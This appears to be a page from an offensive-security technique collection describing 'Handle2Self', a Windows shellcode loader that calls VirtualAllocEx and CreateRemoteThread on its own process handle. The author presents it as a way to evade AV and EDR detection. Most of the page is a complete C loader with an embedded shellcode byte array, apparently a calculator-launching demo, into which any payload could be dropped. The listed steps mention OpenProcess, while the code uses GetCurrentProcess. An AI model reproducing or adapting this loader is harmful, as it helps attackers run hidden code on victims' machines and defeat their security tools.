Handle2Self

Get a handle from current process and creating a new thread

I first saw this in a public loader on GitHub called "GregsBestFriend":

In this technique, we use two well-known Windows APIs for process injection, VirtualAllocEx and CreateRemoteThread. using these APIs in remote process injection makes the loader look very suspicious and will be detected by most AVs. but interestingly enough, if we use the same set of APIs to allocate memory in local process space and then creating a new local thread, it goes unnoticed even by some of the best AV/EDR products out there (at least it used to be like that the last time i checked). so we are using the same APIs but instead of passing the handle of a remote process, we use the handle of current process.

Execution Flow:

  1. Get a handle to local process using OpenProcess

  2. Allocate memory using VirtualAllocEx

  3. Write shellcode to allocated memoey with WriteProcessMemory

  4. Create new local thread using CreateRemoteThread using current process handle

  5. Release the allocated memory and close the local thread handle

Code:

Handle2Self.c
#include <Windows.h>

int main() {
    unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
        0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
        0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
        0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
        0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
        0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
    };

    // Allocate memory in the current process (same as VirtualAlloc)
    HANDLE hProcess = GetCurrentProcess();
    void* exec_mem = VirtualAllocEx(hProcess, 0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Copy shellcode to allocated memory
    WriteProcessMemory(hProcess, exec_mem, shellcode, sizeof(shellcode), NULL);


    // Create a remote thread using the current thread handle (same as Createthread)
    HANDLE th = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);

    // Wait for the thread to finish execution
    WaitForSingleObject(th, INFINITE);

    // Clean up
    VirtualFreeEx(hProcess, exec_mem, 0, MEM_RELEASE);
    CloseHandle(th);       // Close remote thread handle

    return 0;
}

Code Samples

Code snippets are available on GitHub:

Last updated

Was this helpful?